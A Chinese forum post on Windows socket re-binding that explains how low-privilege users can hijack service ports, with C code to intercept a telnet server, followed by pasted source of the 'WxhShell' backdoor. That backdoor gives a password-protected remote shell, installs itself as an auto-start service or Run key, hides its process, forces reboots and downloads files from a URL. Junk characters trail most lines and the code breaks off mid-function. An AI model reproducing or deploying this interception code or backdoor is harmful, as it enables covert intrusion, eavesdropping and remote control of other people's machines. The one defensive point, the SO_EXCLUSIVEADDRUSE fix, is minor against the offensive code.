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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HRP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mk=M)d`  
r1pj-   
  saddr.sin_family = AF_INET; {S l#z }@s  
,Q%q!#@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z?Hi u6c-  
/2s=;tA1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]{.iv_I  
 kD}w5 U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZwzN=03T  
u4eA++ eT  
  这意味着什么?意味着可以进行如下的攻击: GvB;o^Wd  
$%:=;1Jl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ t=ls  
[ :Upn)9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0eMO`8u[A  
0R21"]L_M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ka4KsJN  
.<fn+]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %2q0lFdcM  
5u5-:#sLy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =\ek;d0Tqb  
ScCp88KpFI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6y0CEly>3#  
4LY$;J;2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;xXD2{q  
ffH]`N  
  #include J]AkWEiCJ  
  #include J=l\t7w  
  #include :abpht  
  #include    >Tf <8r,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Hoj'zY  
  int main() yhPO$L  
  { xGkc_  
  WORD wVersionRequested; 6d;_}  
  DWORD ret; 4{v?<x8  
  WSADATA wsaData; 6?`3zdOeO  
  BOOL val; c*!xdK  
  SOCKADDR_IN saddr; )i^+=TZq  
  SOCKADDR_IN scaddr; Jc=~BT_G  
  int err; eV5 e:9  
  SOCKET s; S\poa:D`  
  SOCKET sc; f,(@K%  
  int caddsize; 6,raRg6  
  HANDLE mt; yDORL| E'  
  DWORD tid;   'pa8h L  
  wVersionRequested = MAKEWORD( 2, 2 ); B]nu \!  
  err = WSAStartup( wVersionRequested, &wsaData ); O>c2*9PM  
  if ( err != 0 ) { ZUd*[\F~!  
  printf("error!WSAStartup failed!\n"); p|`[8uY?  
  return -1; 8ioxb`U  
  } (?vKe5  
  saddr.sin_family = AF_INET; .-mlV ^  
   9Od|R"aS|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qmF+@R&^i  
.L=C7w1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =7vbcAJ\  
  saddr.sin_port = htons(23); D,,$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *eEn8rAr  
  { B*;PF  
  printf("error!socket failed!\n"); U|jip1\  
  return -1; EmYu]"${1  
  } ;\],R.!  
  val = TRUE; ( L 8V)1N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ] <y3;T\~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pKzrdw-!  
  { [ApAd  
  printf("error!setsockopt failed!\n"); @wTRoMHPQ  
  return -1; 2tMa4L%@C  
  } ~&7 *<`7{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PBY;S G ~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SrT=XX,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6xW17P  
KkPr08  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /zTx+U.\I  
  { oFDJwOJ'Bj  
  ret=GetLastError(); !4"<:tSO  
  printf("error!bind failed!\n"); jlM %Y ZC  
  return -1; [E:-$R  
  } ~|R/w%*C  
  listen(s,2); |QO)x En~  
  while(1) r34 GO1d  
  { J]gtgt^   
  caddsize = sizeof(scaddr); ZK?:w^Z  
  //接受连接请求 ,/Yo1@U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )%Lgo${[;  
  if(sc!=INVALID_SOCKET) HI!bq%TZ4  
  { dx)v`.%V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3F\UEpQ  
  if(mt==NULL) w@$_2t  
  { x)prI6YMv\  
  printf("Thread Creat Failed!\n"); yoVN|5  
  break; 'U{6LSaCb  
  } `\Hs{t]  
  } x-Fl|kwX.5  
  CloseHandle(mt); QV*W#K\7q  
  } qy,X#y'FuE  
  closesocket(s); e =4k|8G  
  WSACleanup(); MtXd}/  
  return 0; Jh`6@d  
  }   .{Df"e>  
  DWORD WINAPI ClientThread(LPVOID lpParam) >vk?wY^f  
  { 9 Xx4,#?  
  SOCKET ss = (SOCKET)lpParam; S+M:{<AR  
  SOCKET sc; Yvxp(  
  unsigned char buf[4096]; a4D4*=!G0  
  SOCKADDR_IN saddr; L~} 2&w  
  long num; h@D</2>  
  DWORD val; ~\~XD+jy"  
  DWORD ret; *h Bo,   
  //如果是隐藏端口应用的话,可以在此处加一些判断 d A' h7D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L}.V`v{zc  
  saddr.sin_family = AF_INET; :taRCh5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [.*o< KP  
  saddr.sin_port = htons(23); P(XNtQ=K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qkh.? ~  
  {  0ZpWfL  
  printf("error!socket failed!\n"); ^J7g)j3  
  return -1; oQ_n:<3X  
  } cwKOE?!  
  val = 100; -nKBSls  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J6*B=PX=(  
  { Ykt(%2L  
  ret = GetLastError(); <B =!ZC=n  
  return -1; ey3;rY1  
  } aFrVP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C@q&0\HN  
  { Gj(UA1~1  
  ret = GetLastError(); n:5*Tg9  
  return -1; zV=(e( [  
  } h | +(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *3We5  
  { x1ID6kI[{*  
  printf("error!socket connect failed!\n"); ky5gU[  
  closesocket(sc); | QI-gw  
  closesocket(ss); uyDYS  
  return -1; 4!r> ^a  
  } q'p>__Ox  
  while(1) %D:5 S?{  
  { 4uUR2J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )B' U_*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `O/RNMaC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m K@a7fF?  
  num = recv(ss,buf,4096,0); v__;oqN0  
  if(num>0) -?AaRwZ,  
  send(sc,buf,num,0); *cn#W]AE  
  else if(num==0) v^_<K4N`  
  break; 5cE!'3Y  
  num = recv(sc,buf,4096,0); 5`3f"(ay/  
  if(num>0) .5m^)hi  
  send(ss,buf,num,0); ^. i;,  
  else if(num==0) X@7K#@5  
  break; 07dUBoq  
  } ,.+"10=N.  
  closesocket(ss); D3emO'`gQ  
  closesocket(sc); vDAv/l9  
  return 0 ; K-}'Fiq  
  } tF d^5A*  
_\Cd.  
]m(5>h#  
========================================================== T\ h_8  
v1j]&3O  
下边附上一个代码,,WXhSHELL xR, ;^R|C  
d#eHX|+  
========================================================== m'%Z53&  
^(0tNX/XD  
#include "stdafx.h" OWK)4[HY(  
\T_?<t,UT  
#include <stdio.h> HG%H@uK  
#include <string.h> IJnr^S8  
#include <windows.h> J}.y+b>8\  
#include <winsock2.h> f-tV8  
#include <winsvc.h> 6)eU &5z1?  
#include <urlmon.h> }PY? ZG  
g loo].z  
#pragma comment (lib, "Ws2_32.lib") h;KI2k_^  
#pragma comment (lib, "urlmon.lib") {&c%VVZb:Z  
~;;_POm  
#define MAX_USER   100 // 最大客户端连接数 1% )M-io  
#define BUF_SOCK   200 // sock buffer /z4xq'<  
#define KEY_BUFF   255 // 输入 buffer xIo7f  
:;XHA8  
#define REBOOT     0   // 重启 ;v6e2NacM'  
#define SHUTDOWN   1   // 关机 Eu )7@  
F*d{<  
#define DEF_PORT   5000 // 监听端口 u[jdYWQa  
2r~ Nh](  
#define REG_LEN     16   // 注册表键长度 <>JDA(F"  
#define SVC_LEN     80   // NT服务名长度 >gr6H1  
!P!|U/|c  
// 从dll定义API GSW{h[Op  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '}5}wCLA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~^"cq S(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HC8{);  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V_(?mC  
Iq\sf-1E  
// wxhshell配置信息 XY| -qd}A  
struct WSCFG { b['TRYc=:  
  int ws_port;         // 监听端口 ):+H`Hcm  
  char ws_passstr[REG_LEN]; // 口令 k- sbZL  
  int ws_autoins;       // 安装标记, 1=yes 0=no " I@Z:[=2  
  char ws_regname[REG_LEN]; // 注册表键名 ^U_B>0`ch  
  char ws_svcname[REG_LEN]; // 服务名 )vS## -[_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pKMf#)qm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7@vc Qv kC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *k'9 %'<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j86s[Dty  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I01On>"@7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )M]4p6Y  
BsB}noN}  
}; U &Ay3/  
%p2C5z?  
// default Wxhshell configuration xsFWF*HPs  
struct WSCFG wscfg={DEF_PORT, `>8|  
    "xuhuanlingzhe", -JZl?hY(  
    1, hBE}?J>  
    "Wxhshell", <UQ:1W8>B  
    "Wxhshell", 7B% @f9g  
            "WxhShell Service", (7ew&u\Li  
    "Wrsky Windows CmdShell Service", cp?`\P  
    "Please Input Your Password: ", f8?K_K;\   
  1, <$D)uY K  
  "http://www.wrsky.com/wxhshell.exe", J&a887  
  "Wxhshell.exe" o D* '  
    }; =-`+4zB\  
2%W(^Lj  
// 消息定义模块 8`VMdo9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]hvB-R16f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +nMgQOs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #K*d:W3C  
char *msg_ws_ext="\n\rExit."; +d6E)~qKL  
char *msg_ws_end="\n\rQuit."; rP`\<}a.  
char *msg_ws_boot="\n\rReboot..."; u>S&?X'a  
char *msg_ws_poff="\n\rShutdown...";  ]NAPvw#p  
char *msg_ws_down="\n\rSave to "; O~,^x$v e  
X\%],"9%  
char *msg_ws_err="\n\rErr!"; {b<8Z*4W  
char *msg_ws_ok="\n\rOK!"; )X^nzhZ2O"  
ydns_Z  
char ExeFile[MAX_PATH]; #zy,x  
int nUser = 0; +]]wf'w  
HANDLE handles[MAX_USER]; g'Xl>q  
int OsIsNt; c= a+7>  
C#I),LE|d{  
SERVICE_STATUS       serviceStatus; )cqhbR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; syZ-xE]}  
b vu` =  
// 函数声明 yJp& A  
int Install(void); W: ?-d{  
int Uninstall(void); ZTmdS  
int DownloadFile(char *sURL, SOCKET wsh); ',!#?aGV  
int Boot(int flag); 2qr%xK'^B  
void HideProc(void); i ^IvT  
int GetOsVer(void); s\jLIrG8  
int Wxhshell(SOCKET wsl); 6:EO  
void TalkWithClient(void *cs); 7GP?;P  
int CmdShell(SOCKET sock); pb{P[-f  
int StartFromService(void); N{ 9<Tf*  
int StartWxhshell(LPSTR lpCmdLine); 3mJHk<m8T  
H1?1mH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Le mTr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;%jt;Xv9  
zWY6D4   
// 数据结构和表定义 &erNVD5o  
SERVICE_TABLE_ENTRY DispatchTable[] = 5;^8wh(  
{ 84 knoC  
{wscfg.ws_svcname, NTServiceMain}, .M! (|KE4  
{NULL, NULL} i5n 'f6C  
}; QHM39Eu]  
./g0T{&  
// 自我安装 kv5Qxj}  
int Install(void) S$H4xkKs  
{ &1[5b8H;+  
  char svExeFile[MAX_PATH]; Zka;}UL&Q  
  HKEY key; g]ihwm~  
  strcpy(svExeFile,ExeFile); ,5\n%J:  
gEe}xI  
// 如果是win9x系统,修改注册表设为自启动 ~0}eNz*  
if(!OsIsNt) { %d7iQZb>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q(r2\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p5H Mg\hT  
  RegCloseKey(key); *"4<&F S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rxli;blzi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U=yD!  
  RegCloseKey(key); uo{QF5z]  
  return 0; =az$WRV+7!  
    } aFSZYyPxwv  
  } ,f1wN{P  
} eP2 yU  
else { {Y@[hoHtF  
>'T%=50YH  
// 如果是NT以上系统,安装为系统服务 ;I7Z*'5!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GS,pl9#V_  
if (schSCManager!=0) vn_avYwiy  
{ @!MbPS  
  SC_HANDLE schService = CreateService foFn`?LF  
  ( aH$~':[93  
  schSCManager, :qZ^<3+:  
  wscfg.ws_svcname, PT4`1Oy}/1  
  wscfg.ws_svcdisp, g<C})84y3  
  SERVICE_ALL_ACCESS, "D k:r/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  A:!{+  
  SERVICE_AUTO_START, OiOL 4}5(  
  SERVICE_ERROR_NORMAL, Z kS* CG   
  svExeFile, ?~K2&eo  
  NULL, f65Sr"qB3  
  NULL, qb<gh D=j  
  NULL, 5R Hs  
  NULL, /f[_]LeV]  
  NULL S&Sf}uK  
  ); CL*%06QyE  
  if (schService!=0) b?$09,{0  
  { (NQ[AypMI  
  CloseServiceHandle(schService); 9VByFQgM  
  CloseServiceHandle(schSCManager); G#V22Wca8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s7e'9Bx  
  strcat(svExeFile,wscfg.ws_svcname); XJ\q!{;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5^dw!^d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a#IJ<^[8  
  RegCloseKey(key); YZ>cE#  
  return 0; RFC;1+Jn  
    } Wg%-m%7O  
  } _#O?g=1  
  CloseServiceHandle(schSCManager); T42g4j/l~  
} $VA4% 9  
} 0- UeFy  
"v1(f|a  
return 1; a}K+w7VY\  
} 9zyN8v2  
vFOv IVp  
// 自我卸载 ,ln uu  
int Uninstall(void) v,+@ U6i  
{ >D<=9G(a  
  HKEY key; h 3&:"*A2  
DR /)hAE  
if(!OsIsNt) { qM0MSwvC=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &EPEpN R  
  RegDeleteValue(key,wscfg.ws_regname); u B\& Q;  
  RegCloseKey(key); |pqpF?h5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )US/bC!M$  
  RegDeleteValue(key,wscfg.ws_regname); `<zb  
  RegCloseKey(key); }dUC^04  
  return 0; 9pcf jx..  
  } d_+8=nh3  
} C]fTV{  
} )^N8L<   
else { VK;x6*Y  
tZ^;{sM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aA`q!s.%A  
if (schSCManager!=0) L{f>;[FR  
{ !5j3gr ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >~rd5xlk  
  if (schService!=0) [bG>qe1}&  
  { $O'2oeM  
  if(DeleteService(schService)!=0) { *fSM'q;  
  CloseServiceHandle(schService); %j">&U.[  
  CloseServiceHandle(schSCManager); noA\5&hqW  
  return 0; )6&\WNL-x  
  } #sU~fq  
  CloseServiceHandle(schService); 8>Z$/1Mh  
  } 2\{uq v  
  CloseServiceHandle(schSCManager); Db=>7@h3C  
} i4n b#  
} rR@n> Xx  
#2jn4>  
return 1; *\KMkx  
} <IyLLQ+v  
w3qf7{b  
// 从指定url下载文件 rA,Y_1b *  
int DownloadFile(char *sURL, SOCKET wsh) d7J[.^\  
{ q7&yb.<KD.  
  HRESULT hr; I#t9aR+&  
char seps[]= "/"; H ?j-=Zka  
char *token; 9>3Ltnn0  
char *file; sBtG}Mo)  
char myURL[MAX_PATH]; MQ(/l_=zQ  
char myFILE[MAX_PATH]; W8$=a  
i?>> 9f@F  
strcpy(myURL,sURL); CQ.4,S}6'  
  token=strtok(myURL,seps); Y-q@~v Z]  
  while(token!=NULL) 5 ?~-Vv31s  
  { "42$AaS  
    file=token; o U}t'WU  
  token=strtok(NULL,seps); sNfb %r  
  } P9"D[uz  
&]6K]sWJK{  
GetCurrentDirectory(MAX_PATH,myFILE); Kn#xY3W6  
strcat(myFILE, "\\"); $&=;9="  
strcat(myFILE, file); &n]Z1e}5  
  send(wsh,myFILE,strlen(myFILE),0); 3Ge<G  
send(wsh,"...",3,0); AKKU-5 B9c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C.eV|rc@T  
  if(hr==S_OK) cm@oun  
return 0; 1LE^dS^V  
else e4q k>Cw  
return 1; .8qzU47E  
#/t>}lc  
} 92aDHECo  
4 uy@ {  
// 系统电源模块 V87ee,  
int Boot(int flag) i %hn  
{ t+!gzZ  
  HANDLE hToken; <]Pix )  
  TOKEN_PRIVILEGES tkp; O\?5#.   
IEoR7:  
  if(OsIsNt) { ;}eEG{`Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A,lw-(.z4Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ss`q{ARb  
    tkp.PrivilegeCount = 1; k;fnC+Y$s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YY:iPaGO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wAYzR$i  
if(flag==REBOOT) { ]u4>;sa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j+13H+dN  
  return 0; c+b:K  
} DAMpR3  
else { hw ;dm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *T>#zR{  
  return 0; ;8L+_YCa  
} bOxjm`B<  
  } W_BAb+$aF  
  else { ( #-=y~%  
if(flag==REBOOT) { /[|}rqX(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GATP  
  return 0; )| Vg/S  
} b*FU*)<4.  
else { SEQO2`]e:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bm tJU3Rm  
  return 0; ?mYV\kDt\  
} j |'# 5H`  
} @%G'U&R{  
cB|Cy{%  
return 1; hDB`t $  
} 7:VEM;[d  
Xw*%3'  
// win9x进程隐藏模块 ;ad9{":J#B  
void HideProc(void) 4('0f:9z+  
{ GwMUIevO_  
.}$`+h8W T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y1yXB).AH8  
  if ( hKernel != NULL ) f^6&Fb>  
  {  g`)/x\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Y'UvZlM%P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \2gvp6  
    FreeLibrary(hKernel); r\l3_t  
  } z6FbM^;;  
w~Tq|kU[  
return; gQI(=in  
} 3Y1TQ;i,wQ  
f0cYvL ]  
// 获取操作系统版本 Lt;.Nw  
int GetOsVer(void) ~4=]%XYz  
{ ,<;l"v(  
  OSVERSIONINFO winfo; K4?t' dd]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JO& ;bT<  
  GetVersionEx(&winfo); pu2wEQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,);= (r9  
  return 1; , `[Z`SUk`  
  else Qe @A5#  
  return 0; =e-a&Ep-z  
} Ersr\ZB  
(s V]UGrZ  
// 客户端句柄模块 j#LV7@H.e?  
int Wxhshell(SOCKET wsl) D y`W5_xSz  
{ vy{rwZ$  
  SOCKET wsh; x%IXwP0  
  struct sockaddr_in client; 5A2Y'ms,/  
  DWORD myID; 0,1L e$)6  
@wYQLZ  
  while(nUser<MAX_USER) P EX26==  
{ _q$0lqq~u  
  int nSize=sizeof(client); %2@ Tj}xa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |z!q r}i  
  if(wsh==INVALID_SOCKET) return 1; Q QsVIHA  
{UX"Epd);n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5bF9I H  
if(handles[nUser]==0) ~!3t8Hx6  
  closesocket(wsh); ;I!+ lx3[  
else @b ::6n/u  
  nUser++; OQytgXED  
  } Edf=?K+\!i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IL+#ynC  
4DQ07w  
  return 0; bK_0NrXP  
} 9D{u,Q V  
=1{H Sf  
// 关闭 socket 7X9+Qj;  
void CloseIt(SOCKET wsh) $I)Tk`=  
{ V!pq,!C$v  
closesocket(wsh); 8Z9MD<RLw  
nUser--; ~h>rskJ _  
ExitThread(0); m6bWmGn GC  
} .KT 7le<Zm  
dAYI DE  
// 客户端请求句柄 Dh\S`nfFq  
void TalkWithClient(void *cs) S\! a"0$  
{ Eonq'Re$  
%K&+~CJE  
  SOCKET wsh=(SOCKET)cs; wo7N7R5  
  char pwd[SVC_LEN]; AI^AK0.L  
  char cmd[KEY_BUFF]; oTq%wi6 _  
char chr[1]; ILkjz^  
int i,j; tl{]gz  
ql!5m\  
  while (nUser < MAX_USER) { p/ziFpU  
Ek"YM[  
if(wscfg.ws_passstr) { \S=XIf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ap F*a$),  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * ajFZI  
  //ZeroMemory(pwd,KEY_BUFF); !7:EE,W~  
      i=0; 7%:??*"~  
  while(i<SVC_LEN) { Qq`3S>  
NDB*BmG  
  // 设置超时 S KB@  
  fd_set FdRead; ?dp -}3/G  
  struct timeval TimeOut; %-h7Z3YcN  
  FD_ZERO(&FdRead); x\Nhix}1D  
  FD_SET(wsh,&FdRead); D 7Gd%  
  TimeOut.tv_sec=8; f0-RhR  
  TimeOut.tv_usec=0; &q ," !:L]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9O),/SH;:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g>6:CG"  
HO 266M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4/*]`  
  pwd=chr[0]; E p^B,;~  
  if(chr[0]==0xd || chr[0]==0xa) { Kwy1SyU  
  pwd=0; W9 n^T+2  
  break; ~fyF&+ibp'  
  } #@nZ4=/z  
  i++; httls>:xB|  
    } y-E1]4?})  
z7'n, [  
  // 如果是非法用户,关闭 socket ]sX7%3P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 68v xI|EZ  
} 06PhrPVa!\  
98D{{j92  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X?KGb{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y h^WTysBn  
2B6^ ]pSk  
while(1) { EG F:xl  
0^J*+  
  ZeroMemory(cmd,KEY_BUFF); )vO_sIbnW  
z `\# $  
      // 自动支持客户端 telnet标准   rDpe_varA  
  j=0; -(6eVI  
  while(j<KEY_BUFF) { .[edln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pO\ S#GnX  
  cmd[j]=chr[0]; o&CghF  
  if(chr[0]==0xa || chr[0]==0xd) { b cC\  
  cmd[j]=0; Ro$j1Aw(  
  break; |C~Sr#6)7  
  } l)}<#Ri  
  j++; /DLr(  
    } 4qqF v?O[r  
x2sN\tOh^  
  // 下载文件 s ;48v  
  if(strstr(cmd,"http://")) { eA`]K alH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u=(H#o<#  
  if(DownloadFile(cmd,wsh)) t@X M /=d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3wV86tH%  
  else ^it4z gx@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =fY lzZh  
  } n(Qj||:  
  else { S{o@QVbl  
g;$E1U=R-E  
    switch(cmd[0]) { HkW/G[7x&  
  lTn;3'  
  // 帮助 DG_}9M!DW@  
  case '?': { )URwIe{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g+:$X- r  
    break; #N; $  
  } cB{%u '  
  // 安装 %rFP#L  
  case 'i': { }%_qx|(P|t  
    if(Install()) HTxB=Q|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8:n}w  
    else rU],J!LF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )m|C8[u  
    break; ;F|jG}M"  
    } Q{O/xLf  
  // 卸载 QyTh!QM~`  
  case 'r': { h!QjpzQe  
    if(Uninstall()) x]H3Y3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'T%IvJ#Xu  
    else O2C6V>Q;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]OUD5T  
    break; $H4=QVj6  
    } 6KVV z/  
  // 显示 wxhshell 所在路径 ki#y&{v9Be  
  case 'p': { K/DH / r  
    char svExeFile[MAX_PATH]; XnD0eua#  
    strcpy(svExeFile,"\n\r"); 5Qb;2!  
      strcat(svExeFile,ExeFile); %?@x]B9Y8E  
        send(wsh,svExeFile,strlen(svExeFile),0); =1O?jrl~q  
    break; AD(xaQ&T  
    } e,^pMg~  
  // 重启 }Bd_:#.mw  
  case 'b': { xOhRTxic  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e!6eZ)l  
    if(Boot(REBOOT)) "@(58nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Xi2G@D  
    else { $\+"qs)  
    closesocket(wsh); 'HCnB]1  
    ExitThread(0); ^<!Ia  
    } S=4R5igrC  
    break; gEE9/\>%-  
    } ,dOMW+{  
  // 关机 v Xc!Zg~  
  case 'd': { /=bSt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cY{I:MA+h@  
